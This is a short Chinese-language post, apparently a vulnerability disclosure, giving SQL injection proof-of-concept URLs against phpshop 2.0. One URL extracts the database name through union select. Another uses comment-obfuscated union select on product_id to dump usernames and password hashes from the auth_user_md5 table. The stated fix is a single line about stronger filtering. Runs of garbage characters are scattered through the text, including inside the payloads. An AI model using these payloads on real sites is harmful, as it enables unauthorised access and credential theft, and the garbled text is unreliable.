phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
, i0 U8 O! Q3 }1 ~4 e% X" g0 `) z( I# M
作者 : By onestree
' t( p7 \/ n, F: ?. r, K下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu
4 H1 C5 L# g, i* T9 v- s; ?

6 P8 l9 Y7 h* o& R4 n9 ]8 N: ASQLi p0c:

==================
- O9 O0 P0 u' `# G
; u3 u6 [; i) b* n  ohttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
# k% I9 c# Y( I# Q* P% u, D8 bunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
' [. a/ b& C+ A) O) g
2 O; f* X9 G! l' l, q0 |7 Rhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

2 p5 S4 o# p  I/ T! @  g修复：
加强过滤
​
8 A5 J. ~( J# N